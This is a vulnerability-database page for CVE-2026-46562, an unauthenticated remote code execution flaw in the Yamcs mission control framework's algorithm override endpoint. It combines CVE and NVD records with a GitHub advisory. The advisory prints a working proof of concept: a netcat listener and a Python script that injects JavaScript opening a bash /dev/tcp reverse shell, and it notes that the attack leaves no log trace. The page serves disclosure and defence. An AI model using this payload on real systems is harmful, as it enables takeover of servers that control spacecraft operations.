CVE-2026-46562 (GCVE-0-2026-46562)
Vulnerability from cvelistv5 – Published: 2026-07-16 16:06 – Updated: 2026-07-16 18:02
VLAI
EPSS
VEX
Title
Yamcs: Remote Code Execution via Mission Database algorithm override
Summary
Yamcs is a mission control framework. Prior to 5.12.7, the Nashorn ScriptEngine used to evaluate user-supplied JavaScript algorithm text in yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java was constructed without a ClassFilter, so a user with the ChangeMissionDatabase privilege could override an algorithm through the MdbOverrideApi.updateAlgorithm endpoint and supply JavaScript that reaches arbitrary Java classes (for example Java.type("java.lang.Runtime").getRuntime().exec(...)) to execute arbitrary OS commands as the Yamcs process; in the default configuration with no security.yaml the built-in guest user has superuser=true, making the issue reachable without authentication. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.
Severity
9.8 (Critical)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-07-16 18:01 UTC
CWE
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/yamcs/yamcs/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/yamcs/yamcs/commit/3c550348f86… | x_refsource_MISC |
| https://github.com/yamcs/yamcs/commit/4ff8fda642e… | x_refsource_MISC |
| https://github.com/yamcs/yamcs/releases/tag/yamcs… | x_refsource_MISC |
| https://github.com/yamcs/yamcs/releases/tag/yamcs… | x_refsource_MISC |
Impacted products
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-46562",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-16T18:01:46.175576Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-16T18:02:19.337Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "yamcs",
"vendor": "yamcs",
"versions": [
{
"status": "affected",
"version": "\u003c 5.12.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Yamcs is a mission control framework. Prior to 5.12.7, the Nashorn ScriptEngine used to evaluate user-supplied JavaScript algorithm text in yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java was constructed without a ClassFilter, so a user with the ChangeMissionDatabase privilege could override an algorithm through the MdbOverrideApi.updateAlgorithm endpoint and supply JavaScript that reaches arbitrary Java classes (for example Java.type(\"java.lang.Runtime\").getRuntime().exec(...)) to execute arbitrary OS commands as the Yamcs process; in the default configuration with no security.yaml the built-in guest user has superuser=true, making the issue reachable without authentication. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-95",
"description": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (\u0027Eval Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-470",
"description": "CWE-470: Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-16T16:06:39.148Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
},
{
"name": "https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011"
},
{
"name": "https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992"
},
{
"name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7"
},
{
"name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0"
}
],
"source": {
"advisory": "GHSA-vmwp-vh32-rj75",
"discovery": "UNKNOWN"
},
"title": "Yamcs: Remote Code Execution via Mission Database algorithm override"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-46562",
"datePublished": "2026-07-16T16:06:39.148Z",
"dateReserved": "2026-05-14T20:42:31.370Z",
"dateUpdated": "2026-07-16T18:02:19.337Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-46562",
"date": "2026-10-01",
"epss": "0.00976",
"percentile": "0.6073"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "yamcs",
"vendor": "yamcs",
"versions": [
{
"status": "affected",
"version": "\u003c 5.12.7"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:spaceapplications:yamcs:*:*:*:*:*:*:*:*",
"matchCriteriaId": "1F836127-88FB-4BD4-AD07-FE5B324349CD",
"versionEndExcluding": "5.12.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Yamcs is a mission control framework. Prior to 5.12.7, the Nashorn ScriptEngine used to evaluate user-supplied JavaScript algorithm text in yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java was constructed without a ClassFilter, so a user with the ChangeMissionDatabase privilege could override an algorithm through the MdbOverrideApi.updateAlgorithm endpoint and supply JavaScript that reaches arbitrary Java classes (for example Java.type(\"java.lang.Runtime\").getRuntime().exec(...)) to execute arbitrary OS commands as the Yamcs process; in the default configuration with no security.yaml the built-in guest user has superuser=true, making the issue reachable without authentication. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default."
}
],
"id": "CVE-2026-46562",
"lastModified": "2026-07-20T01:53:17.737",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-46562",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-16T18:01:46.175576Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-16T17:16:56.953",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-94"
},
{
"lang": "en",
"value": "CWE-95"
},
{
"lang": "en",
"value": "CWE-470"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-46562",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-16T18:01:46.175576Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-16T18:02:00.954Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "yamcs",
"vendor": "yamcs",
"versions": [
{
"status": "affected",
"version": "\u003c 5.12.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Yamcs is a mission control framework. Prior to 5.12.7, the Nashorn ScriptEngine used to evaluate user-supplied JavaScript algorithm text in yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java was constructed without a ClassFilter, so a user with the ChangeMissionDatabase privilege could override an algorithm through the MdbOverrideApi.updateAlgorithm endpoint and supply JavaScript that reaches arbitrary Java classes (for example Java.type(\"java.lang.Runtime\").getRuntime().exec(...)) to execute arbitrary OS commands as the Yamcs process; in the default configuration with no security.yaml the built-in guest user has superuser=true, making the issue reachable without authentication. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-95",
"description": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (\u0027Eval Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-470",
"description": "CWE-470: Use of Externally-Controlled Input to Select Classes or Code (\u0027Unsafe Reflection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-16T16:06:39.148Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
},
{
"name": "https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011"
},
{
"name": "https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992"
},
{
"name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7"
},
{
"name": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0"
}
],
"source": {
"advisory": "GHSA-vmwp-vh32-rj75",
"discovery": "UNKNOWN"
},
"title": "Yamcs: Remote Code Execution via Mission Database algorithm override"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-46562",
"datePublished": "2026-07-16T16:06:39.148Z",
"dateReserved": "2026-05-14T20:42:31.370Z",
"dateUpdated": "2026-07-16T18:02:19.337Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-46562
Vulnerability from fkie_nvd - Published: 2026-07-16 17:16 - Updated: 2026-07-20 01:53
Severity
Summary
Yamcs is a mission control framework. Prior to 5.12.7, the Nashorn ScriptEngine used to evaluate user-supplied JavaScript algorithm text in yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java was constructed without a ClassFilter, so a user with the ChangeMissionDatabase privilege could override an algorithm through the MdbOverrideApi.updateAlgorithm endpoint and supply JavaScript that reaches arbitrary Java classes (for example Java.type("java.lang.Runtime").getRuntime().exec(...)) to execute arbitrary OS commands as the Yamcs process; in the default configuration with no security.yaml the built-in guest user has superuser=true, making the issue reachable without authentication. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| spaceapplications | yamcs | * |
{
"affected": [
{
"affectedData": [
{
"product": "yamcs",
"vendor": "yamcs",
"versions": [
{
"status": "affected",
"version": "\u003c 5.12.7"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:spaceapplications:yamcs:*:*:*:*:*:*:*:*",
"matchCriteriaId": "1F836127-88FB-4BD4-AD07-FE5B324349CD",
"versionEndExcluding": "5.12.7",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Yamcs is a mission control framework. Prior to 5.12.7, the Nashorn ScriptEngine used to evaluate user-supplied JavaScript algorithm text in yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java was constructed without a ClassFilter, so a user with the ChangeMissionDatabase privilege could override an algorithm through the MdbOverrideApi.updateAlgorithm endpoint and supply JavaScript that reaches arbitrary Java classes (for example Java.type(\"java.lang.Runtime\").getRuntime().exec(...)) to execute arbitrary OS commands as the Yamcs process; in the default configuration with no security.yaml the built-in guest user has superuser=true, making the issue reachable without authentication. This issue is fixed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default."
}
],
"id": "CVE-2026-46562",
"lastModified": "2026-07-20T01:53:17.737",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-46562",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-16T18:01:46.175576Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-16T17:16:56.953",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/yamcs/yamcs/commit/3c550348f866af4675d2ba4a51d8d12b7c7c6011"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/yamcs/yamcs/commit/4ff8fda642ea8c3309a4d3f379aa77b763148992"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-94"
},
{
"lang": "en",
"value": "CWE-95"
},
{
"lang": "en",
"value": "CWE-470"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-VMWP-VH32-RJ75
Vulnerability from github – Published: 2026-05-27 22:45 – Updated: 2026-05-27 22:45
VLAI
Summary
Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override
Details
Remote Code Execution via Mission Database algorithm override
Summary
The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.
Details
Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java
// L46-53 Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
.filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
&& candidate.getNames().contains(language))
.findFirst().orElse(null);
if (factory != null) {
scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied
}
// L109 user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);
NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.
The path from HTTP request to eval is:
MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189)
→ AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559)
→ ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117)
→ scriptEngine.eval(...).
PoC
Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).
Attacker-side listener:
nc -lvnp 4444
#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request
TARGET = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = int(sys.argv[3])
INSTANCE = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"
# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
'} '
'Java.type("java.lang.Runtime").getRuntime().exec('
f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
'function _x(){'
)
patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"
def http(method, url, body=None):
req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
method=method, headers={"Content-Type": "application/json"})
return urllib.request.urlopen(req, timeout=10).read()
http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})
The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.
Impact
Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.
For a Yamcs deployment managing spacecraft operations, an attacker can: - forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission; - read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration); - pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services); - install a persistent backdoor via the same primitive.
Who is impacted:
- All Yamcs deployments running in the default configuration (no security.yaml present): any unauthenticated network attacker that can reach the HTTP API port (default 8090).
- Yamcs deployments with security enabled: any user that has been granted the ChangeMissionDatabase system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.
Affected Versions
All Yamcs releases that ship the algorithm override endpoint are affected — no ClassFilter has ever been applied to the script engine.
- First vulnerable release:
yamcs-4.7.3(2018-11-22). Introduced in commit951e505d18a3912813b59edc685cbcbd4c609906("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added theChangeAlgorithmRequestRPC (later renamedUpdateAlgorithmRequest) and routed it asPATCH /api/mdb/{instance}/{processor}/algorithms/{name*}. - Routing change at
yamcs-5.5.0(2021-04): the endpoint was split out ofMdbApiintoMdbOverrideApiand moved toPATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlyingscriptEngine.eval(...)sink and the missingClassFilterare identical. - Latest release:
yamcs-5.12.6(commitf1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java,AlgorithmManager.java,ScriptAlgorithmExecutorFactory.java,SecurityStore.java) are unchanged between5.12.6and currentmaster(96d3e2d474415bea859f40ecbddc1bb8a0d141c1) — no upstream fix exists.
In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46562"
],
"database_specific": {
"cwe_ids": [
"CWE-470",
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T22:45:49Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# Remote Code Execution via Mission Database algorithm override\n\n## Summary\n\nThe Nashorn `ScriptEngine` used to evaluate user-supplied algorithm text in `MdbOverrideApi.updateAlgorithm` is constructed without a `ClassFilter`, allowing a user with the `ChangeMissionDatabase` privilege to execute arbitrary Java code on the Yamcs server. In Yamcs\u0027s default configuration (no `security.yaml`), the built-in `guest` user has `superuser=true`, so the vulnerability is reachable without authentication.\n\n## Details\n\n**Vulnerable file**: `yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java`\n\n```java\n// L46-53 Nashorn engine obtained without a ClassFilter\nScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()\n .filter(candidate -\u003e !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())\n \u0026\u0026 candidate.getNames().contains(language))\n .findFirst().orElse(null);\nif (factory != null) {\n scriptEngine = factory.getScriptEngine(); // \u2190 ClassFilter not supplied\n}\n\n// L109 user-supplied algorithm text reaches eval()\nscriptEngine.eval(functionScript);\n```\n\n`NashornScriptEngineFactory.getScriptEngine()` accepts an optional `ClassFilter` that restricts which classes JavaScript can reach via `Java.type(...)`. Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class \u2014 for example, `Java.type(\"java.lang.Runtime\").getRuntime().exec(...)` runs arbitrary OS commands inside the Yamcs JVM.\n\nThe path from HTTP request to `eval` is:\n`MdbOverrideApi.updateAlgorithm` (`yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189`)\n\u2192 `AlgorithmManager.overrideAlgorithm` (`yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559`)\n\u2192 `ScriptAlgorithmExecutorFactory.makeExecutor` (`yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117`)\n\u2192 `scriptEngine.eval(...)`.\n\n## PoC\n\nRun against any reachable Yamcs deployment that has at least one JavaScript `CustomAlgorithm` in its MDB (the `simulator` example MDB includes several, such as `/YSS/SIMULATOR/Battery_Voltage_Avg`).\n\nAttacker-side listener:\n```\nnc -lvnp 4444\n```\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nUsage: python3 \u003cpoc\u003e.py http://target:8090 LHOST LPORT\n\"\"\"\nimport json, sys, time, urllib.request\n\nTARGET = sys.argv[1].rstrip(\"/\")\nLHOST = sys.argv[2]\nLPORT = int(sys.argv[3])\nINSTANCE = \"simulator\"\nPROCESSOR = \"realtime\"\nALGORITHM = \"YSS/SIMULATOR/Battery_Voltage_Avg\"\n\n# Close the generated wrapper function with `}`, execute the payload at\n# top level, then re-open a dummy function so the trailing `}` emitted\n# by ScriptAlgorithmExecutorFactory parses. No throw -\u003e no event fired.\npayload = (\n \u0027} \u0027\n \u0027Java.type(\"java.lang.Runtime\").getRuntime().exec(\u0027\n f\u0027[\"bash\",\"-c\",\"exec 3\u003c\u003e/dev/tcp/{LHOST}/{LPORT}; id \u003e\u00263; sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\"]); \u0027\n \u0027function _x(){\u0027\n)\n\npatch = f\"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}\"\n\ndef http(method, url, body=None):\n req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,\n method=method, headers={\"Content-Type\": \"application/json\"})\n return urllib.request.urlopen(req, timeout=10).read()\n\nhttp(\"PATCH\", patch, {\"action\": \"SET\", \"algorithm\": {\"text\": payload}})\ntime.sleep(2)\nhttp(\"PATCH\", patch, {\"action\": \"RESET\"})\n```\n\n\u003cimg width=\"1841\" height=\"881\" alt=\"nashorn-rce-poc\" src=\"https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671\" /\u003e\u003cbr\u003e\n\nThe override path emits events only when evaluation fails: a `WARNING` from `ScriptAlgorithmExecutorFactory.java:112` and a `CRITICAL` from `AlgorithmManager.java:546`. Any syntactically valid payload \u2014 like the one above \u2014 succeeds silently and **no event is fired**, so the attack leaves no trace in the Yamcs event stream.\n\n## Impact\nArbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.\n\nFor a Yamcs deployment managing spacecraft operations, an attacker can:\n- forge or block telecommands, suppress alarms, and tamper with the telemetry archive \u2014 disrupting or seizing control of the mission;\n- read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);\n- pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);\n- install a persistent backdoor via the same primitive.\n\nWho is impacted:\n- **All Yamcs deployments running in the default configuration** (no `security.yaml` present): any unauthenticated network attacker that can reach the HTTP API port (default `8090`).\n- **Yamcs deployments with security enabled**: any user that has been granted the `ChangeMissionDatabase` system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.\n\n## Affected Versions\n\nAll Yamcs releases that ship the algorithm override endpoint are affected \u2014 no `ClassFilter` has ever been applied to the script engine.\n\n- **First vulnerable release**: `yamcs-4.7.3` (2018-11-22). Introduced in commit `951e505d18a3912813b59edc685cbcbd4c609906` (\"added possibility to change in a running processor 